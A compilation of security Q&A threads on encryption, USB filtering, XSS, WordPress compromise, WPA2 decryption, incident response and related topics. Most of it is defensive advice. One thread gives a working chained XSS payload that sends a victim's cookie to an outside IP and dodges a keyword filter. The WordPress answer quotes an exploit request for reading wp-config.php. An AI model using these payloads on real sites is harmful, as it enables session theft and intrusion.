How to check that the user entered the correct password when decrypting a file? I'm trying to create a program for encrypting/decrypting different files.
I have not problems with the code, I just don't know how to save the password for every file, which was encrypted through my program.

A user can encrypt his file using a password, and when he tries to decrypt it, there must be a message which informs him about the incorrect password, because, when he uses an incorrect password, the program will produce a decrypted file, which will still be unreadable.

You are doing it all wrong! But that's okay, amateur cryptography is where we all started and learned. Just be aware that your encryption software will not be secure unless you had it audited by an independent third party, and even then they make no guarantees. Do not use your own hobby crypto for anything important! And do not let others use it without making sure that they know it's just a toy!

Imagine you have a file that says "attack at 10:00". Encrypted, it is something like aWJiaWtzIGliIDEzOjAw. Your enemy might know that you are sending the attack message, but does not know the password. What they can do, though, is change a byte. If the message is changed to aWJiaWtzIGliIDazOjAw (the E is replaced by a), it suddenly says: "attack at 03:00".

As you see, modifying the ciphertext, even blindly, can be an advantage to the attacker (the enemy). You want to have authenticated encryption, where a modification is detected. This also solves your password problem.

You do not need to store the password in the file, because if they enter the wrong password, the authentication check will fail. The software will notice that the decrypted text changed from the original text, and you will know it's wrong.

There are also some more details on why you should use authenticated encryption:

Security StackExchange: Why do you need message authentication in addition to encryption?
Crypto StackExchange: Why should I use Authenticated Encryption instead of just encryption?

There are a lot of resources online on how to do authenticated encryption. Some good methods to look for are AES+HMAC, or AES in an authenticated mode such as GCM or OCB. This Wikipedia article is a good introduction and contains pointers to algorithms that you might be able to use: https://en.wikipedia.org/wiki/Authenticated_encryption

As an example, let's consider the previous ciphertext: aWJiaWtzIGliIDEzOjAw. Now we HMAC it with SHA-256, which gives us 3be635.... I used a random online site to compute the HMAC and used the same password as I used for the encryption. (As a challenge to the reader, try to break it :). It's just one character.) We can store the two together: aWJiaWtzIGliIDEzOjAw|3be635. When a user tries to decrypt the contents, they enter the password, you can compute the HMAC again, and if it does not match, you know that either the message was tampered with, or their password was incorrect.

The code for this is basically:

# Encrypt
password = user_input()
plaintext = "attack at 10:00"
ciphertext = encrypt(method = "AES-256-CTR", key = password, data = plaintext)
auth_code = hmac(method = "SHA-256", key = password, data = ciphertext
write_file(name = "encrypted", data = base64(ciphertext) + "|" + auth_code)

# Decrypt
password = user_input()
ciphertext, auth_code = read_file(name = "encrypted").split("|")
computed_auth_code = hmac(method = "SHA-256", key = password, data = ciphertext)
if computed_auth_code == auth_code:
    plaintext = decrypt(method = "AES-256-CTR", key = password, data = ciphertext)
    print(base64_decode(plaintext))

So far so good, but...

This method allows an attacker to guess a password very fast. The HMAC operation takes a few microseconds to compute, so an attacker can do many of guesses per second on a standard computer. The code is very simple:

ciphertext, auth_code = read_file(name = "encrypted").split("|")
for password in load_file("password_database.txt"):
    if auth_code == hmac(method = "SHA-256", key = password, data = ciphertext):
         print("The password is " + password)

Because the only operation in the for loop is hmac(...) and a quick comparison, it is very fast.

Before using the user's password for anything, you should apply a slow key derivation function (KDF). How to do this best is answered in the question: How to securely hash passwords?.

Your code should now look something like this:

password = user_input()
password = argon2(iterations = 1_000_000, memory = 100_000_000, data = password)
# Below here, the normal encryption/decryption code

Now, an attacker's code has to look like this:

ciphertext, auth_code = read_file(name = "encrypted").split("|")
for password in load_file("password_database.txt"):
    password = argon2(iterations = 1_000_000, memory = 100_000_000, data = password)
    if auth_code == hmac(method = "SHA-256", key = password, data = ciphertext):
         print("The password is " + password)

Now the attacker has to do this argon2 thing, which is super slow. If it takes 1 second on your computer, then it will also take roughly 1 second on their computer (maybe a little faster, maybe a little slower). This means an attacker can only do one password guess per second. That's much safer! Of course, an attacker can use 100 computers, but that's a serious investment, and they would still have only 100 guesses per second instead of millions or even billions per second.


Allow only specific devices to be connected to USB Suppose I have a Windows PC in a safe room, disconnected from the internet, with only 3 cables connecting to another room, to a mouse, monitor and keyboard.

The computer contains highly sensitive data. The HDMI monitor cable is no problem, but the mouse and keyboard cables are USB cables, and could be connected to some USB drive. I am specifically interested here in securing the USB cables. Please disregard other ways of stealing information, like taking photos of the screen etc.

My question is: How can I make sure only some specific mouse and keyboard are allowed to be connected to the USB cables?

For example, is there some kind of hardware I can put between the USB cable and the computer to make sure only some allowed device is connected to it? Security KVM Switches (Keyboard-Video-Monitor switches) are not good because in practice all of them seem to introduce some small delay (lag, or latency) when moving the mouse or typing. It really must feel as if you are directly connected (no lag whatsoever). Maybe there are some Arduino, BasicX, Parallax, Pololu, or Raspberry Pi projects out there to filter USB communication and let through only allowed devices, with no lag?
I know there is software to do that (e.g.: https://support.symantec.com/en_US/article.TECH175220.html) but since the user is using the computer he could disable it.

Buy a PS2 to USB adapter for keyboards+mice (important: both need to be in one usb port to make sure it's not a naive straight-through connector).

They have logic and cost about $10 USD at time of writing.

Then buy USB to PS2 adapters for both mice and keyboard (separate adapters).

They have no logic, just internal wiring to each connection and they cost less than $5 USD at time of writing.

Put them altogether. Yes, it looks funky, but the devices will still work as-expected. Now, even if one of the user-reachable cables is spliced, they can't add new hardware other than generic mice and keyboards.

Nice things about this:

cheap
simple
hardware-implemented
protects against unknown devices
OS-independent

UPDATE:
I manually verified, twice, that there is no continuity between USB's data-/data+ pins and the PS2 data/clk pins (or any other ps2 pins) on a two-in-one adapter. There is continuity on single-port adapters though, but that's not important as long as one of the adapters implements some kind of logic like the two-in-one does. Plugging in the empty adapter to a windows box should cause the "USB insertion ding"; otherwise it's a naive physical adapter.

The dual PS2-USB adapter I specifically tested was an "ez-pu21", available still on amazon.

UPDATE #2, 2 things:

there are usb keyboard attacks, so you need to lock down the OS properly to maintain security.
one can get inside bios with a keyboard, and i'm not sure how risky that is to exfiltration, or if all they can do is "break" the computer.

UPDATE#3:
After using the double-inline adapters for about 24 hours, I can say they work, but not quite 100%, maybe 99%.  When I was doing serious programming (typing) I noticed that keys held down for about 1/3rd of a second repeat. This is before my typematic repeat about 2/3rds a second after press, and it only repeats once; leading to stuff like "biig" instead of "big". I only noticed it a few times, late at night, but I wanted to mention it. I didn't even notice it until after hours of use, but if you were writing a novel, it might be frustrating. It could just be the cheap adapter i used, the really long cables i'm using or something else nobody will experience.

BONUS: (related but OT): I just realized these cheap usb switches don't connect the data pins, they are too cheap to switch all 4 wires, thus making a cheap "USB condom" for those who desire such a thing, thought i'd share. cheap condoms, how can you go wrong?


Is it safer to store the XSRF value inside your JavaScript? To protect yourself against XSRF, you need to have a separate token on a page.

See: Coding Horror: Preventing CSRF and XSRF Attacks, by Jeff Atwood

As the posting suggests, its best to have those tokens in a hidden field inside your form.
But I wonder, if there is any benefit in storing them in an anonymous function instead, so that the value will be added on submit?

While I can see a vulnerability against XSS in the usual approach, there should be no way to submit a valid form in mine. If someone controls the DOM with XSS, the tokens inside hidden fields are easily revealed, unless its an inaccessible javascript variable.

The only time that you need to worry about the token being read is if there's a malicious extension or an MITM attack being carried out.

In both cases, it's no longer a CSRF problem. Both attacks have the capability of catching the request on the fly (after your javascript has assembled it with the token) and modifying it. This isn't CSRF, but it's still a potent attack. (Using HTTPS solves some of this, though you have to assume that the client isn't installing malicious extensions)

If there's an XSS vulnerability somewhere then it's quite easy to call onsubmit() before submitting.

So there really isn't any added safety.


Input password to Bitcoin CLI I'm new to bitcoin and I'm very concerned about keeping my wallet secure. As I prefer CLIs over GUIs for many reasons including security, I'm learning how to use the bitcoin-cli command on GNU/Linux. In particular, the command bitcoin-cli walletpassphrase lets you unlock your wallet for a specified amount of time in order to make a transaction. You're expected to run this command like so:

bitcoin-cli walletpassphrase p4$$w0rd 45

Where the last two arguments are the plaintext password and the unlock time in seconds. That's clearly not secure at all because your password is going to be stored in plaintext in ~/.bash_history, and also someone could be watching you type your plaintext unobfuscated password over your shoulder, or also scroll back afterwards.

So, after trying some suggestions in this related post, I came up with a very simple solution. I have to mention that I use pass for storing my passwords:

pass bitcoin | xargs -I '{}' bitcoin-cli walletpassphrase '{}' 45

In other words, I use a pipe and xargs (see this post) to input my password and avoid all the aforementioned security issues.

My question is: is this really secure? Is there any possibility for an attacker to somehow obtain my password while it is travelling from pass to bitcoin-cli? Any other thoughts about this?

Ultimately your xargs solution still results in the bitcoin-cli being run with the password as a command line argument. Your solution successfully prevents the password from ending up in your ~/.bash_history file. However, it doesn't prevent the password from showing up in your system's process list while the command is running. Any user on your system running "ps -ef" at the right moment (such as by spamming the command) can see the password.

On a standard single user desktop system, this isn't a big concern. You can disable the ability for users to list other users' processes by following the instructions at https://unix.stackexchange.com/a/244357/94543.

Another possibility to consider is that some system utilities may record the active process list. If you configure an intrusion detection system, then it may record every process started and their arguments. If a program on your computer crashes, a crash logging utility may include a list of your system's running processes in the log. (That would be pretty bad luck to have that run in the same moment that bitcoin-cli is, but consider the case where your system is running low on memory, causing bitcoin-cli to hang and also causing another program to crash, triggering a crash logger...)

The best and foolproof solution would be if bitcoin-cli had a flag to allow you to pass it the password interactively or directly over standard input. And conveniently, it has the -stdin option allowing you to do that:

bitcoin-cli -stdin walletpassphrase


Identify crash-inducing NVT in OpenVAS I'm currently scanning a network using OpenVAS / Greenbone Security Assistant installed on Kali Linux.
During the scan, multiple targets have crashed. This is obviously something I want to investigate. As I'm running the "Full and fast" scan profile, 65238 NVTs are being run against each host. Unfortunately, OpenVAS does not (and probably cannot) realize, if a target has crashed.

How can I find out, or at least narrow down, which NVT caused the crash? Are there options other than binary search?
Does OpenVAS run the NVTs in consecutive order or is the order randomized?
OpenVAS does not seem to log, which NVT was run at which time, so I cannot correlate the time (which would only give me a rough time-window, anyways). Can I activate this somehow?

Can / will be answered with 3. together below.
To the best of my knowledge it is a mixture of both. The internal scheduler of OpenVAS is scheduling and launching VTs based on a dependency chain (e.g. VT y.nasl depends on VT x.nasl) so the VT get consecutively launched depending on this dependency chain. But then again the order depends on at which time the previous dependency got scheduled an launched. In turn this means the order on subsequent scans might be a different one because a specific dependency had a different run time (e.g. slower responding target caused a longer run time of the dependency or any other in the chain, newly added VTs in the dependency chain, ...) causing a different running order then in the previous scan.
OpenVAS is capable of logging each scheduled and launched VT in it's logfile (openvas.log, should be at /var/log/gvm/openvas.log on Kali). You can enable this logging by setting log_whole_attack = yes in your openvas.conf (Location can bee seen with openvas -s | grep config_file). If the file doesn't exist you can create it manually and add just that string to it. Note that the extended logging might fill up your disc space so only enable the logging during your debugging work and disable it afterwards.


Why can't a rainbow table attack identify and trash the salt? Here's my understanding of a salted / hashed authentication scheme:

string plaintextPass = Request.Form["password"];
string salt = UserRecordFromDb.Salt;
string toHash = salt + plaintextPass;

string hash = bcrypt(toHash);

return(hash == UserRecordFromDb.HashedPassword);

The trouble is, the algorithm adds the salt in a predictable way.  If I could use a rainbow table to get the plaintext including the salt I could find and trash the salt.  There are enough users that use bad passwords anyway to make the salt adding pattern easy to recognize1.

For example, if I recovered these plaintexts from my rainbow table attack:

1: passwordW0fkvE
2: secretJEn3cx
3: t4k3nVdksE12
4: purplehorse1593vE1r

#3 doesn't tell me very much.  It's a good password so the salt is unrecognizable.  But from #1 and #2 I can see the salt is probably 6 characters added on to the end.  I can use that information for #4 to figure out the password is purplehorse15.

1 Note: If you store the salt and the username / hashed pass in the same DB, I don't even need to guess what the salt is.  It's right there in front of me.  The extra step of guessing the salt is only necessary if the salt is stored in some other DB.

A couple of items to consider:

It is important to note that a rainbow table works differently than a straight-up precomputed hash table. (althought a rainbow table with a chain length of 1 is essentially the same thing as a precomputed hash table -- most rainbow tables have many many chains though)
Rainbow chains have trouble with passwords with LARGE salts.  A short salt (6 chars) might not be a huge problem for them to deal with. (but again, exponentially longer for each additional char)

The problem with straight-up precomputed hash tables is that they get HUGE.  Even generating a precomputed table of only digits, length 0-8 turns in to many gigabytes.  If you start adding in alpha/symbols it gets gigantic.  So the addition of even 6 characters of salt will increase the size of your lookup table greatly.

A rainbow table offers a mix between storing on-disk and computation by using chains. You would use less space than a full precomputed hash table, and it would probably be fine for short salts, but dealing with large salts would require a LOT of space.

Here is an excellent site that describes the actual steps and gives examples for how it works:

https://stichintime.wordpress.com/2009/04/09/rainbow-tables-part-5-chains-and-rainbow-tables/

This other post explains a bit more about rainbow tables:  What are rainbow tables and how are they used?

To summarize -- it is plausible that you could use a rainbow table or a precomputed hash table to solve the passwords. The salts just add more entropy by adding characters to the length. It DOES make it WAY HARDER as you are essentially now brute-forcing a random password of n-chars + salt.

Lastly - to address the issue that if you already know the salt:  I don't believe this would do you any good, as the hashes are one-way and because of how rainbow tables work you would have to have a custom reduction function in the rainbow table that generated plaintexts that ended in the salt. Otherwise since rainbow tables generate their next plaintext off the reduction of the previous chain, if you didn't use a custom reduction function it would be impossible to incorporate the salt to the end of the resulting plaintext. It would probably be simpler to use a plain precomputed hash table in that instance but again you would need one for each salt.


Is there a HSTS equivalent for specifying TLS version? HSTS allows me to force clients to connect to my website using HTTPS, but it doesn't specify the version of SSL, TLS, or what ciphers I'm prohibiting.

Is there any HSTS alternative or extension that allows me to specify

TLS minimum version (1.2)
TLS Ciphers (those listed in TLS 1.3)

In TLS, the client proposes and the server chooses.

What you want it as simple as configuring your servers to only allow TLS 1.2 and the particular server suites you want to use. There isn't a need for anything special.


How to chain XSS payloads? I found a parameter on a website that is vulnerable to XSS. The website is a game and the parameter in question is the name of a player team. However, the parameter is limited to only 20 characters. There is another page on the website where these player teams can be showcased. I can make multiple player teams and have their names display on this page.

I was able to create an alert box by using the following team names on three separate teams:

<script>alert(/*
*/'1'/*
</script>

The comments skip any HTML between the team names, therefore "chaining" them and showing the alert box. However, nothing really malicious can be done with this.

I wanted to implement cookie-stealing, so first I created this payload (the IP address has been changed except for the "169" value, and the character count of the IP address is identical to the real IP address):

<script>document.location='http://12.169.123.929:80/1.php?c='+document.cookie;</script>

Of course, this would not fit in 20 characters, so I split it up like so (I am able to create up to 8 player teams to show on the page):

<script>docu/*
*/ment.location=/*
*/'http://12.16/*
*/9.123.929:80/1.p/*
*/hp?c=/*
*/'+docu/*
*/ment.cookie;
*/</script>

(the words "document" and "69" must be separated since the site's filter thinks they are inappropriate)

However, I encountered some problems while doing this. First off, the slashes in http:// are interpreted as comments and start commenting undesired things. Second, whenever there is a ' symbol, any comment after it is ignored. For instance:

How can I circumvent this and make the XSS chain together?

I agree with @BBerastegui, whenever you have an input filter, the first thing you want to do is load an external script so that you are not restricted anymore.

I'll assume that that's not possible (eg because of a CSP). You can still steal the cookie or perform other actions.

  Second, whenever there is a ' symbol, any comment after it is ignored.

That's because you are now in a JavaScript string context. What you want to do is first close the string context with ' and then add the comment. You can then concat the next part of the string with +.

  First off, the slashes in http:// are interpreted as comments

Are you sure about that? They shouldn't be, as they are in a JavaScript string context where they aren't interpreted as comments. But your code isn't working because some of the quotes are off and you are not concatenating your strings correctly.

This works for me:

<script>document.location=/*
*/'http://12.16'/*
*/+'9.123.929:80/1.p'/*
*/+'hp?c='/*
*/+document.cookie;/*
*/</script>

  the words "document" and "69" must be separated since the site's filter thinks they are inappropriate

It seems that you can't do that. I tested this with Chrome and Firefox, and neither allow splitting up the document keyword with comments.

What you can do is not use the string document at all though:

<script>
x=window['docu' + 'ment'];
alert(x.location);
</script>

Which gives you:

<script>x=window['docu'/*
*/ + 'ment'];/*
*/x.location=/*
*/'http://12.16'/*
*/+'9.123.929:80/1.p'/*
*/+'hp?c='/*
*/+x.cookie;/*
*/</script>


As a result of attack; random folders and files in public_html. What kind of attack is this? As a result of attack there are random folders and php files inside them in public_html directories. Sites are Wordpress, Opencart or just HTML. All sites exposed to attack.

Screenshot of the situation:

What kind of attack is this? What is the reason?

I can provide more information but I don't know where to start. So please ask me on comments.

APACHE LOG FILES:

http://mertyildiran.com/mertyildiran.com.error.log

http://mertyildiran.com/mertyildiran.com.log

http://dragon.computer/dragon.computer.error.log

http://dragon.computer/dragon.computer.log

Nowadays, a lot of bots are scanning Internet to find security breaches to abuse of servers. As WordPress is one of the most used CMS, most of attacks attempts are done using WordPress flaws.

If you site get hacked, you have to find how it happened in a first time

Most of WordPress attacks are aiming wp-config.php through adminpages, upload, loginpages, plugins to collect informations about your configuration and how to exploit it.

One of the biggest security is to protect your wp-config.php:

<Files wp-config.php>
order allow,deny
deny from all
</files>

Some exemples of requests found in logs: (useful info linked to attacks are in logs)

wp-config viewer attack:

/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php

showbiz plugin breach attack:

/wp-content/plugins/showbiz/temp/update_extract/revslider/get.php

bruteforce attack:

/wp-login.php (auth fail flood)

A lot of WordPress expert sites warn about some basic security flaws:

For example: http://codex.wordpress.org/Hardening_WordPress
Keep your WordPress up to date

Updates are made to fix stuff, but in this stuff, there is thing about security, so try to get an eye on updates (subscribe to WP newsletter, or try to add system to autoupdate it)
Once the breach is fixed, you can unlock your site from hacked site on http://google.com/webmasters/hacked (thanks @Zonk for the link)

Some more: Some Apache advice to prevent attacks:

log in a special files request on wp-config/wp-login/wp_admin files

SetEnvIfNoCase Request_URI "wp-config\.php|\/wp-admin\/|wp-login\.php" securitylog
CustomLog ${APACHE_LOG_DIR}/security.log vhost_combined env=securitylog
redirect useless trafic

RewriteCond %{HTTP_USER_AGENT} ^-?$
RewriteRule .* - [F]
limit request methods to GET, HEAD and POST

RewriteCond %{REQUEST_METHOD} !^(GET|HEAD|POST)$
RewriteRule .* - [F]
find a human readable logviewer


Krack attack(er) sees which traffic? I am trying understand one thing about the KRACK attack. I see explanations like this everywhere:

  The hacker interferes with the initial handshake between your device and the
      WiFi router in a way that allows the attacker to gain an ability to decrypt the
      traffic you exchange over WiFi.

Ok, but what traffic exactly is this? Let's say in my house I have a patched router, a patched iPhone and an unpatched WiFi camera. Seeing here the weak link is my camera, if it gets attacked, can the hacker sniff the whole traffic including my iPhone, or only the traffic between the vulnerable device (camera) and the router?

If either endpoint is patched you should view the connection as *secure. None of the traffic can be seen if the router is patched. The router will refuse to use the reset Nonce and the connection will fail. If the router is also unpatched then any unpatched devices connecting to it such as the camera may have their traffic viewed.

Krack forces nonce reuse which is specific to each connection.

*By secure I mean the link to the access point is secure. There is no guarantee with what the AP does or any network it forwards the traffic to afterwards (for example.. the internet). If you want end to end security use end to end identity verified encryption like SSL.


Oracle ExaData Security best practice Does anybody have experience with Oracle ExaData Security?
Client wants to move all of his Oracle DB to central Oracle ExaData server.
So on same machine will be hosted DBs of different vendors and even competitors.
What should we be aware of? (We = one of the vendors)

I found following Oracle document: Oracle ExData Database Machine Security Overview

Are there any other relevant resources on this?

Don't expect database encryption to magically solve these security concerns.  When yet another oracle db exploit hits metasploit a competitor could use this to compromise all data  and all encryption keys stored on the database.  In short,  an adversary doesn't need SQL Injection to deliver a metasploit payload,  they already have access to the database which is a much easier attack to carry out.

Personally, I wouldn't trust my data stored on a database where competitors have access.  I also wouldn't depend on Oracle for security.  They are very slow to roll out patches in mission critical software and do not handle 0-days very well.  (TWO botched patches for the most recent java 0-day,  really?  This does not inspire consumer confidence.)


How does a client use the Certificate Enrollment Web Service and Certificate Enrollment Policy Web Service? According to a the technet articles:

  The Certificate Enrollment Web Service is an Active Directory
  Certificate Services (AD CS) role service that enables users and
  computers to perform certificate enrollment by using the HTTPS
  protocol. Together with the Certificate Enrollment Policy Web Service,
  this enables policy-based certificate enrollment when the client
  computer is not a member of a domain or when a domain member is not
  connected to the domain.

And they explain all the steps on how to install these services but not how they're used. Like yes, I want non-domain clients to enroll for certificates, so how do the clients do that? For the CA Web Enrollment service it clearly says to just enter this into your browser:

https://servername/certsrv

(link: https://technet.microsoft.com/en-us/library/hh831649(v=ws.11).aspx )

But for the CE and CEP services it says nothing. Maybe I don't actually understand what they are?

CEP is the service that non-domain clients use to gather all the certificate template information from the domain, since LDAP is not an option and DCOM is difficult to safeguard.  CES is the retrieval of the certificates.   This can be done by instructing non domain members to create an enrollment policy on their user certificate store, or if applicable computer certificate store.  It can use multiple authentication schemes such as Windows Integrated (kerberos), X.509 certificates, or username and password.   If you are trying to deploy computer certificates to non-domain clients, take care with the X.509 certificate option since they likely won't have a client authentication certificate for the computer store from your internal PKI when they go to retrieve their first cert.   By using CES and also CEP you can keep ldap and dcom out of the scenario and just use HTTPS.  This makes it alot easier to secure as well as use.  You can not use CES without CEP since the template and user information needs to be retrieved from AD.


Unable to obtain TCP/HTTP traffic from WPA2 packets even with full handshake and decryption The Problem

On my WPA2 network, I have been successfully able to get intercept a full four-message EAPOL handshake from a particular computer on my network. It is my understanding that with this handshake (and knowing the passphrase for my network), I should be able to decrypt not only broadcast traffic, but also internet traffic from that computer whose handshake I captured, since its communication with the access point is encrypted using data exchanged in the handshake and the PMK (computed from the SSID and passphrase data).

However, I still seem to only be decrypting "broadcast" traffic. There is no TCP traffic from the computer whose handshake I captured even though I visited unencrypted HTTP sites on it and used netcat on it to communicate with another computer on the WLAN. I can tell that at least the broadcast data is correctly decrypted because I can look at the encrypted and decrypted hex codes for those packets (they happen to primarily be MDNS, ICMP, ARP, etc.). I even tried to take the data and decrypt it with airdecap-ng but this did not work either.

It seems that based on examples of packet data I've been able to play with in Wireshark that I should be able to get this traffic. In particular, this guide shows how to do it and provides a pcap file on which you can easily decrypt the WPA2 packets and get a bunch of TCP packets in Wireshark. Similarly, the Wireshark Wiki explains how to do this in addition to providing pcap samples that also can be decrypted to yield TCP traffic.

My Setup

Kali Linux Live Persistence on USB
Alfa AWUS036H in monitor mode (using airmon-ng)
WLAN with WPA2, no WPS
Wireshark IEEE 802.11 Preferences:

Enable decryption IS checked
Ignore the Protection bit is set to No
Decryption keys include a wpa2-pwd entry in the format of passphrase:ssid

Main Question

Why am I not able to pick up the TCP traffic from the computer for which I intercepted a full EAPOL handshake from, the way that I was able to do so in the sample pcap files I have linked? Am I fundamentally misunderstanding how this works, or is this likely the result of a hardware or network related issue?

As it turns out, the issue was that my WLAN is setup as 802.11b/g/n, and the target devices I had been testing this on were all 802.11b/g/n compatible, so they were using 802.11n by default to directly communicate with the AP. As I realize now, the Alfa AWUS036H is only 802.11 b/g compatible, so it was was not able to intercept the 802.11n traffic! Once I switched my router to only use b/g, then I was able to capture the TCP traffic as expected.

Lesson learned: get a WiFi card that is actually compatible with modern wireless standards -_-


Has this method ever been used by viruses to check if system has already been infected? I know the era of the self spreading worm is over, but has this mechanism for determining if a machine has already been infected or not ever been used? When a virus runs it checks to see if the machine is already infected by searching for a string, for example a key named xyz in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft. If it's found it means the system has already been infected. If it's not found then the virus will make a new generation of itself, that searches for abc instead of xyz, create the registry entry abc, launch the new generation and delete itself.

In pseudocode

//initialize string matchMe to an arbitrary value
if(findThread(matchMe))
//machine already infected
else
 matchMe = getRandomString()
 addtoRegistery(matchMe)
 spawnNewGeneration(matchMe)
 deleteSelf();

This way it doesn't leave behind any easily tell-tail signs that an antivirus can look for.

So I have "Practical Malware Analysis" by Sikorski and Honig in front of me. They describe the use of threading, but I think the more popular form of what you're describing is a mutex. Malware can create mutexes at the kernel level with specific names using the KeInitializeMutex system call, and use that mutex to mark that system. If another piece of the same malware drops on the system it can then look to see if that named mutex is a) present, or b) owned by another process. If it is, then it is reasonable to assume that you've already infected the computer. Of course, it becomes a great signature for anti-virus and other pieces of competing malware.

They also describe the use of the registry. Malware can look for specific values in the registry, and achieve persistence by embedding itself as a service.

So yes, this technique is used. I believe some of the sample "malware" they ship with the book uses these techniques.


What mechanism to use for simple and secure HTTP API access? I am currently working on a service which offers a HTTP API for mobile clients.

I want clients to authenticate in order to access my API. The server itself is doing the authentication there will be no external providers. Connection itself is encrypted through SSL/TLS.

My question now is which mechanism I use after user credentials where checked. As far as I know the most common are:

HTTP basic authentication
HTTP digest access authentication
Session based authentication
OAuth
OAuth2

I personally tend to stick with the session based authentication as it is widely supported and easy too use - also it seems me quite secure (okay there is session hijacking but you do not have to resend your credentials every time)

However would it be an improvement to switch to HTTP digest access authentication or even OAuth?

Best,
Bodo

For mobile clients the potential problem with session based authentication is that you probably have to have very long session timeouts, as users typically don't like entering their credentials every time they use an application.

At that point, whether that's acceptable might depend on how you're restricting the use of the Session ID.  If all it can do is take relatively non-sensitive actions then it might be a reasonable solution (not really that different to an OAuth access token), but one concern might be if an attacker gets access to that token he can take security sensitive actions like changing the users credentials.

At that point you might want to consider OAuth or something similar to restrict the actions that a specific token stored on a mobile device can take.

One other point to mention about HTTP basic or digest is that using them gives you the headache of storing the users credentials on the client.


Can a botnet be used to effectively break encryption keys? Can a botnet amass and coordinate enough computing power to break encryption keys that are typically considered to be secure (through brute force)?  If this is the case, do we need to make our encryption keys even stronger (e.g. higher number of bits in the encryption key)?

No, most cryptographic methods that are considered secure are based around assuming every computer in the world is working on the problem non-stop and it still takes to the heat death of the universe.

Sure it could be used to break less secure encryption, and in fact, using a super computer to crack such weak keys is effectively the same thing as using a bot net, but that bit length wouldn't be considered particularly secure if that would make a difference.

It is generally a safe assumption that government entities can put far, far more computing power in to trying to crack something than even the most powerful botnet could handle.  And there are far more profitable things for botnets to be working on.


Does crypto shredding count as deletion in regards to CCPA? I have a compliance question around crypto shredding and CCPA. I'm basically just wondering if crypto shredding is sufficient to comply with the CCPA customer deletion requests.

I know that crypto shredding has it's own downsides (quantum computers??), but if data is only stored for a period of time (on the order of years), it seems reasonable to assume that crypto shredding keys that encrypt a specific user's data will make that data inaccessible. Does this still count as deletion though from a legal perspective?

My question is specific to CCPA, but I'm also curious about crypto shredding in relation to laws requiring data erasure in general.

An example of an implementation of crypto shredding might be:
- Create a unique key pair for each customer using the strongest encryption available at the time.
- Encrypt all customer data with these keys.
- Customer data may then be combined into large archival files (on tape or CD backup), with each record of a customer's data being encrypted with their own specific keys.
- A CCPA deletion request comes in, and we purge the key store of the decryption keys for that customer.
- At this point we can no longer reasonably retrieve a customers data, even though it lives on archival media for a period of time. The only possible method of retrieval would be if decryption technology vast exceeded what we have available today.

I'm mainly looking for resources around the legal ramifications around this. My initial research shows that there are exceptions to archival storage of such data, but doesn't have anything regarding crypto shredding. My current assumption is that since this isn't theoretically permanent, it's not a valid way to delete data according to the law.

The CCPA statute doesn't provide a technical definition of "delete".  This means that until a court case interprets the law otherwise, you can take whatever actions you deem technically sufficient to render the data "deleted".  What would be important is that, if you were challenged in court for not deleting a client's data, you could convince a judge that the data was deleted, destroyed, or somehow rendered unrecoverable.

What this typically means in practice is that you would need to consult with your organization's attorney, CCPA compliance team, or risk management team about your proposed data deletion solution.

That said, any legal defense would be on much firmer ground if you employed an existing industry or national standard for data destruction.  Consider following something like NIST SP 880-88, which is a national standard for media destruction.  It defines three levels of media sanitization: clear, purged and destroyed.  No rational interpretation of California law would require you to physically destroy a hard disk that once held a person's data, so you can probably eliminate "destroyed" as a path you'd need to follow.  To clear means to remove the data using overwriting techniques, but is not necessarily defense against a forensic laboratory recovery of the data.  To purge is to render the data unreadable by an attacker using state-of-the-art laboratory techniques.  And they specifically cover Cryptographic Erase as a valid purge technique, when certain factors exist.

Just be aware that Cryptographic Erase is actually a very complex solution to achieve in practice.  It involves maintaining separate keys for each block or category of stuff you wish to destroy.  That's pretty easy when it's a one-key-per-hard-disk-controller relationship to be used for purging an SSD or HD of all its data, but a lot harder when you're only trying to delete a few rows from a database.  You certainly could maintain one key per customer, but that might be a lot of keys to manage, and require an expensive and complex key management system.


How to manage known infected network If you have large distributed network that is known as being infected with viruses and etc..
and you cannot format the computers becuase its large scale.
What are the best ways to handle this situation from the cso viewoint?

The SANS course that includes incident handling, introduced at https://www.sans.org/course/hacker-techniques-exploits-incident-handling recommends the following steps:

Preparation
Identification
Containment
Eradication
Recovery
Lessons Learned

Obviously, it's too late for step 1...

A network IDS (eg. snort) watching all internet traffic will help you identify infected hosts (#2).  It will also help you identify where you're being attacked from so you can filter those IPs and networks at your firewall (#3).  Don't forget that most control channels will originate from your machines out to the attackers' servers, rendering basic firewall rulesets ineffective.  The ability to watch intra-host traffic as well as external traffic at the NIDS will help spot lateral transfers where an infected host directly compromises another.

As infected hosts are identified, rebuild them (#4 & 5).  Use a unique local administrator password for each one, saving them offline (eg. a notebook in a safe or locked room) for use next time that host is compromised.  That way, you're not exposing domain admin credentials when logging into a compromised host, and local admin on one host does not equal local admin on all of them.

Full packet capture will allow you to review malicious activities, extract malware, droppers, exfiltrations, and such.  With limited network bandwidth, hardware requirements for capturing all traffic drop to levels where commodity hardware can handle it.

If your infrastructure is Windows, radically limit your domain admin accounts and rotate their passwords often, especially when used to access a compromised host.  Log all network accesses, collect your logs centrally, and review them regularly.  For SSH access, use PKI, generate new private keys and remove old keys from authorized_hosts.  Change any local account passwords on all hosts and don't reuse passwords on multiple hosts.

It sounds like you may be over your head on this.  It may be wise to hire an outside firm to help you identify which hosts to clean, IPs to blackhole, etc.  Search for incident handling services and shop around.


Privileges needed to perform process injections I am reading about process injection techniques on Windows machines (originally came to this from privilege escalation research). Although I used Windows for the majority of my life, I feel like I understand the Linux privilege/permissions schemes better, and I would appreciate a clarification about the assumption for some of the common methods.

Process hollowing - a program needs to start a different one, common examples are explorer.exe or svhosts.exe, which are located under Windows folder
DLL hijacking - make a different process load some DLL or write it on a high folder in the search path
Others similar

Those methods usually depend on calling system APIs and allocating and copying memory in strategic locations. It doesn't seem like a standard low-privilege user can perform this attack or can they? (an example of "low-privilege" would be a standard corporate user). I mean if they can, wouldn't it be a design flaw in the operating system or it just much harder than the manuals show?

Reference: Ten Process Injection Techniques: A Technical Survey of Common and Trending Process Injection Techniques , the text and diagrams show a process easily manipulating another process's memory.

Do not think of privileges in terms of users accounts here, the permissions that are required are SeDebug. SeDebug is granted to the administrator / root account the the account the process is running under.

As a normal user you are not going to be able to inject into a process running as SYSTEM. As an attacker you are only going to be able to initial inject into a process same context.

Process hollowing you start a thread as an initial process but in a paused state. You then clear memory and replace it with a process that you want to hide. The entire time you have control of this process, you're just hiding another one under the guise of the original.

Dll hijacking requires you can create a folder and write a binary to disk - as the path will be loaded by the calling process when its searching for libraries to load. So potentially if this is a service you will need permissions to start/stop it.


